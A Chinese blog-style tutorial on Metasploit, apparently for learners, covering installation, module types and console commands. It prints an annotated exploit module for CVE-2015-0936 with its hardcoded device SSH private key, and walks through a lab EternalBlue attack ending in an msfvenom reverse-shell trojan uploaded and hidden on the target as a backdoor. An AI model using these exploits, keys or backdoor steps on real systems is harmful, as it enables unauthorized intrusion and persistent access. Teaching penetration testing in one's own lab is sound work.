metasploit的使用

目录

前言:

一、Metasploit工具

二、渗透测试的基础知识

三、Metasploit 框架的基础知识

1、Metasploit 框架模块

漏洞利用

有效载荷(攻击载荷)

辅助设备

编码器

四、Metasploit框架的组成部分

关键组件

1. msfconsole

2.msfdb

3.msfvenom

4. meterpreter

MSF的六个模块

五、漏洞分析

六、Metasploit Framework的基本命令

1、启动控制台

2、显示命令

3、搜索内容

4、使用模块

5、返回上一级

6、显示一个或者多个模块的信息

7、查看模块的选项

8、检查漏洞利用

七、实战渗透演练(了解步骤即可)

1、目标识别

2、漏洞扫描

3、漏洞利用

查询漏洞

选择模块

查看选项

设置RHOSTS

开始攻击

查看攻击载荷所提供的有效执行命令

4、监听

总结:


前言:

本文将介绍metasploit的基本使用方法和基础的渗透。

一、Metasploit工具

安装

在Linux获得metasploit-framework软件包,使用 apt 实用程序

apt install metasploit-framework

在CentOS/Redhat获得metasploit-framework软件包,使用yum实用程序

yum install metasploit-framework

确认安装是否成功

msfconsole

显示该页面则安装成功

确认版本信息

version

最好在使用前都更新一下metasploit版本如果该工具是旧的,那么更新的漏洞将不会添加到Metasploit框架的数据库中。

更新Metasploit

msfupdate
apt install meetasploit-framework

当Metasploit已经是Kali Linux更新版本中操作系统的一部分,msfupdate不适用

 需要用apt install meetasploit-framework更新

二、渗透测试的基础知识

渗透的一些基本步骤

1、信息收集/侦察

收集的有关目标的信息越多,就越能更好地了解目标系统并在该过程的后面使用这些信息。

关键信息:开放端口、正在运行的服务等;        一般信息:域名注册信息等

工具:– nmap,zenmap,whois,nslookup,dig,maltego等,最常用的信息收集和扫描工具之一是网络映射器实用程序。

2、漏洞分析

分析目标的潜在漏洞以采取进一步措施。漏洞有级别划分,某些漏洞可能会让您完全访问系统,而有些漏洞可能只为您提供有关系统的一些正常信息,Metasploit提供了一个有用的数据库。

3、渗透

分析漏洞后需要利用漏洞,使用特定程序/漏洞来攻击具有漏洞的计算机。Metasploit框架提供了从数千种漏洞中进行选择的选项,并直接从 Metasploit 控制台使用它们。新的漏洞会定期更新并纳入Metasploit,除此自外,还可以从在线漏洞利用数据库添加一些其他漏洞,例如漏洞利用数据库。

但是并不是所有漏洞都是现成的,有一些漏洞需要自己设计来逃避安全系统和入侵检测系统。

4、渗透后

渗透完成后,可以访问系统,在这里可以决定如何处理系统。可能有权访问低权限用户,可以尝试提升权限,也可以在受害者机器上保留一个后门,以便以后随时进入系统。

5、报告

进行测试后,撰写有关要进行的测试和改进的详细报告。

三、Metasploit 框架的基础知识

1、Metasploit 框架模块

  • 漏洞利用

Metasploit Framework上有一个大型的漏洞利用数据库。可以在数据库中搜索漏洞利用,并查看有关其工作方式、发现时间、有效性等信息。

  • 有效载荷(攻击载荷)

实际是一段代码(填充数据)发送到服务器利用特定漏洞的代码获得shell。Metasploit Framework有很多有效载荷选项,最常用的是反向外壳、绑定外壳、仪表等。

  • 辅助设备

不直接利用系统的程序,在Metasploit中提供自定义功能,如:嗅探器、端口扫描仪等,可以帮助扫描受害者计算机以进行信息收集。

  • 编码器

编码器以威胁检测程序解释的方式加密代码,它们将在执行时自行解密并成为原始代码。但是,编码器是有限的,防病毒软件的数据库中已经有许多签名,仅使用编码器并不能保证防病毒规避。需要自行更改有效载荷防止被检测。

四、Metasploit框架的组成部分

关键组件

1. msfconsole

命令行界面,它能够轻松浏览所有Metasploit数据库并使用所需的模块。是获取Metasploit控制台的命令。

2.msfdb

Metasploit Framework提供的使用PostgreSQL数据库来快速有效地存储和访问数据的选项,如,可以在数据库中存储和组织扫描结果,以便以后访问它们。

3.msfvenom

工具可以模仿其名称并帮助创建自己的有效载荷。为什么需要该工具,是因为有效负载可能会被检测为威胁,并被防病毒或反恶意软件等威胁检测软件删除。(发生这种情况是因为威胁检测系统已经存储了许多恶意负载的指纹)有一些方法可以逃避检测。

4. meterpreter

一个高级有效载荷,内置了许多功能,使用加密数据包进行通信。此外,它一旦进入系统,就很难跟踪和定位。它可以捕获屏幕截图,转储密码哈希等等。

MSF的六个模块

打开metasploit-framework目录

一般放在/usr/share/目录下

cd /usr/share/metasploit-framework

ls

发现有个moudles模块,打开

cd modules 

ls

 auxiliary        #辅助模块(辅助设备)

encoders        #编码器模块

evasion        #免杀模块

exploits        #渗透攻击模块(漏洞利用)

nops        #空指令模块

payloads        #攻击载荷模块(有效载荷)

post        #后渗透攻击模块

五、漏洞分析

可以浏览库里所有漏洞,有效负载或其他漏洞,并查看其代码

cd exploits

ls

查看linux系统的漏洞

cd linux

ls

查看ssh的漏洞

cd ssh

ls

查看ceragon_fibeair_known_privkey.rb漏洞(漏洞使用ruby编写所以后缀是.rb)

cat ceragon_fibeair_known_privkey.rb  

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

#MetasploitModule < Msf::Exploit::Remote定义了一个Metasploit模块,它是一个远程漏洞利用模块。

class MetasploitModule < Msf::Exploit::Remote
  #包括了报告功能 
  include Msf::Auxiliary::Report
  #包括了ssh功能
  include Msf::Exploit::Remote::SSH

  #漏洞利用的评级
  Rank = ExcellentRanking
  
  #initialize函数中设置了模块的各种信息,如名称、描述、平台、目标、作者、许可证、参考链接、披露日期等。
  def initialize(info = {})
    super(
      update_info(
        info,
        {
           #漏洞名称
          'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
           #漏洞描述
          'Description' => %q{
            Ceragon ships a public/private key pair on FibeAir IP-10 devices
            that allows passwordless authentication to any other IP-10 device.
            Since the key is easily retrievable, an attacker can use it to
            gain unauthorized remote access as the "mateidu" user.
          },
           #操作系统,linux是基于unix原理的操作系统
          'Platform' => 'unix',
          #指定了漏洞利用模块的目标架构,ARCH_CMD表示该模块执行的是命令行payload,而不是需要在目标系统上运行的二进制代码。这意味着模块将通过SSH执行命令,而不是上传和运行程序。
          'Arch' => ARCH_CMD,
          #利用成功后获得的权限级别,false,意味着模块不会尝试获取高权限,而是以普通用户权限执行。
          'Privileged' => false,
          #定义了模块可以攻击的目标系统,'Universal'通常意味着模块不特定于任何单一目标,而是适用于多个系统或平台。在这里,它带有一个空的对象{},表示没有特定的配置选项。
          'Targets' => [ [ 'Universal', {} ] ],
          #模块在成功利用漏洞后将在目标系统上执行的代码或命令。
          'Payload' => {
            'Compat' => {
              #表明payload是一个交互式命令行,允许攻击者与目标系统的shell进行交互。
              'PayloadType' => 'cmd_interact',
              #意味着Metasploit框架将尝试自动找到与目标系统通信的方式,通常是反向或交互式shell。
              'ConnectionType' => 'find'
            }
          },
          #作者
          'Author' => [
            'hdm', # Discovery
            'todb' # Metasploit module and advisory text (mostly copy-paste)
          ],
          #许可证
          'License' => MSF_LICENSE,
          'References' => [
            #是一种公开的漏洞数据库,用于标准化命名和跟踪信息安全领域的已知漏洞,CVE-年份-编号
            ['CVE', '2015-0936'],
            #漏洞的参考文章的链接
            ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
          ],
          #披露时间
          'DisclosureDate' => '2015-04-01', # Not a joke
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => []
          }
        }
      )
    )
    #选项注册,注册了模块需要的参数
    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )
    #注册高级选项
    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  #辅助方法,获取目标主机
  def rhost
    datastore['RHOST']
  end
  #辅助方法,获取目标端口
  def rport
    datastore['RPORT']
  end
  #辅助方法尝试使用SSH公钥认证登录目标系统。
  def do_login(user)
    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      port: rport,
      key_data: [ key_data ]
    })
    opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      #设置了一个超时时间,如果在指定的时间内未能建立SSH连接,将引发一个Timeout::Error异常。
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        #尝试使用提供的选项和凭据建立SSH连接。如果成功,它将返回一个ssh_socket对象,该对象可以用于后续的命令执行和交互。
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
      end
    #这个异常处理块捕获了由Net::SSH库抛出的各种异常,并根据异常类型提供相应的错误消息。如果连接失败,它将打印一条错误消息并返回nil
    rescue Rex::ConnectionError
      return nil
    #如果在SSH协商过程中连接断开,将打印一条错误消息"#{rhost}:#{rport} SSH - Disconnected during negotiation"。
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return nil
    #如果在建立连接时发生超时,将打印一条错误消息。
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return nil
    #如果认证失败,将打印一条错误消息。
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
      return nil
    #如果发生其他SSH异常,将打印异常的类和消息。
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return nil
    end
    
    #如果登录成功,则返回一个Net::SSH::CommandStream对象。
    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket)
      ssh_socket = nil

      return conn
    else
      return nil
    end
  end

  #漏洞利用,
  def exploit
    #调用了do_login尝试以’mateidu’用户身份登录。
    conn = do_login('mateidu')
    #如果登录成功,则调用handler函数处理会话。
    if conn
      print_good "#{rhost}:#{rport} - Successful login"
      handler(conn.lsock)
    end
  end

  #私钥硬编码,硬编码了Ceragon FibeAir IP-10设备的默认私钥。这个私钥允许攻击者无需密码就能登录到任何其他IP-10设备。
  def key_data
    <<~EOF
      -----BEGIN RSA PRIVATE KEY-----
      MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
      MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
      IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
      gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
      CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
      4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
      SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
      B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
      93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
      WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
      YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
      7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
      uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
      -----END RSA PRIVATE KEY-----
    EOF
  end
end

这个Metasploit模块利用了Ceragon FibeAir IP-10设备中一个已知的安全漏洞,通过使用硬编码的默认私钥,实现无需密码的SSH登录,从而获得设备的控制权。这是一个高危的安全风险,因为攻击者可以轻易地远程访问并控制设备。 

补充:

漏洞利用评级

RankingDescription
ExcellentRanking绝对不会使目标服务崩溃,如SQL 注入,命令执行,远程文件包含,本地文件包含等等。
GreatRanking有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定于应用的返回地址。
GoodRanking有一个默认的目标系统,并且是这种类型软件的“常见情况”
NormalRanking该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
AverageRanking该漏洞利用程序不可靠或者难以利用。
LowRanking对于通用的平台而言,该漏洞利用程序几乎不能利用(低于 50% 的利用成功率)
ManualRanking该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS),或当一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。

六、Metasploit Framework的基本命令

1、启动控制台

msfconsole

2、显示命令

show

获取命令及其函数的列表

show -h

 列出所有漏洞

show exploits 

 列出所有编码器

show encoders

其他的模块也是同理

3、搜索内容

search

 搜索samba工具

search samba

补充:

Samba是在LinuxUNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。

SMB协议:被用于Web连接和客户端与服务器之间的信息沟通,是一种在局域网上共享文件和打印机的一种通信协议

4、使用模块

use

使用samba里第一个模块

use exploit/unix/webapp/citrix_access_gateway_exec
#也可以直接指定模块编码
use 0

5、返回上一级

back

6、显示一个或者多个模块的信息

info
或
show info

 查看当前exploit(漏洞)模块信息

7、查看模块的选项

查看当前模块的选项

options
或
show options

默认情况下,很多选项都已经填写完毕,可以修改他们或者保持不变;一些选项空着的就需要我们填写,如:RHOSTS那的Current Setting就需要我们填写目标的ip

8、设置选项

set

设置RHOSTS(ip)

set RHOSTS [目标ip]

set RHOSTS 192.168.222.1

 查看选项

 添加成功

设置payload

查看payloads

设置一个不是默认(cmd/unix/reverse_bash)的payload

set payload payload/cmd/unix/reverse_ssh 

 查看选项

设置成功

设置LPORT(端口)

set LPORT 6000

查看选项

设置成功

8、检查漏洞利用

check

该目标不易受该漏洞攻击,继续该攻击没有意义

七、实战渗透演练(了解步骤即可)

未经许可的渗透是违法的,最好渗透自己搭建的靶机.

1、目标识别

nmap -sn -PE -n 192.168.222.0/24

识别到五台存活主机

nmap -O 192.168.222.144
#一台一台识别操作系统找到目标靶机的操作系统

找到目标靶机win7的ip,并得到目标靶机开放的端口。

扩展:

MSRPC (MicroSoft Remote Procedure Call,微软远程过程调用) 是对 DCE/RPC 在 Windows 系统下的重新改进和实现,用以支持 Windows 系统中的应用程序能够无缝地通过网络调用远程主机上服务进程中的过程。

2、漏洞扫描

nmap -sV --script=vuln 192.168.222.144
#-sV:用于启用版本检测,以便Nmap尝试识别目标主机上每个开放端口的服务版本。
#--script=vuln:指定Nmap运行与漏洞有关的脚本,这些脚本可以检测常见的漏洞。

补充:

检测特定漏洞

nmap --script=vuln:CVE-2018-1000000 192.168.222.144
#nmap --script=vuln:[CVE编号] <target-ip>

相关链接:http://t.csdnimg.cn/nkezH

发现有一个ms17-010(永恒之蓝漏洞)

3、漏洞利用

msfconsole启动

查询漏洞
search ms17-010

选择模块

选择一个适用于靶机操作系统的模块

info 0

发现第一个就能影响到win7系统

use 0

查看选项
options

设置RHOSTS
set RHOSTS 192.168.222.144
#注意S不要漏了

选择攻击载荷

show payloads
set payload [载荷]

补充:

载荷的分类:

  • 反弹式Shell(Stdlib::TCP::Reverse_LDR_Spawn):用于远程控制,通常适用于Windows和Linux系统。

  • 绑定式Shell(Stdlib::TCP::Bind_Spawn):被动等待连接,通常适用于Windows和Linux系统。

  • Windows exe 攻击载荷:生成一个Windows可执行文件,需要目标机器启用执行权限。

  • Windows dll 攻击载荷:生成一个Windows动态链接库文件,需要目标机器配合。

  • Meterpreter 攻击载荷:功能强大的可以跨平台使用的攻击载荷,需要在目标系统上运行服务端。

常见:

  • reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经连接。
  • bind_tcp:攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入。基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。
  • reverse_http:基于http方式的反向连接,在网速慢的情况下不稳定。
  • reverse_https:基于https方式的反向连接,在网速慢的情况下不稳定。

这里我们用默认的reverse_tcp就可以。

设置攻击的目标系统

show targets
set target 1

开始攻击

记得要把防火墙和防护软件关掉

exploit

攻击成功

查看攻击载荷所提供的有效执行命令

得到shell

退出shell

4、监听

在用msfvenom生成木马程序

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.222.144 LPORT=4444 -f exe -o /home/lin/shell.exe
#-a(architecture):指定生成payload的目标架构为x86。

#-p(payload):指定要使用的payload,这里是一个针对Windows系统的Meterpreter反向TCP载荷。

#-f(file):指定输出格式为Windows可执行文件(EXE)。

#-o(origin)指定生成的payload的输出路径和文件名

上传到目标靶机

upload /home/lin/shell.exe C:\
#可以通过查看对方C盘目录将木马藏起来

成功传过去

 将会话保存存后台

进入监听模块

use exploit/multi/handler

设置LHOST和payload

 重新进入会话

sessions -i 2

重新进入shell并改变cmd活动代码页(字符编码)

chcp 65001
#将cmd的活动代码页(字符编码)改为UTF-8

运行木马程序

再次进入监听模块

set LHOST 192.168.222.132
#这是设置主机主机的ip

开始监听

run

再次得到shell

总结:

渗透思路很重要最开始的时候思路是扫端口通过服务和端口找漏洞但是这样需要去一个一个的搜索每一个漏洞影响的版本效率不高。

通过打了三次漏洞我自己认为基础渗透的思路应该是:

探测主机存活->得到目标靶机操作系统->扫漏(如果能力强可以手动扫漏扫到0day漏洞)->漏洞利用->留后门监听(方便再次访问,注意:要记得保存session)

  • 26
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值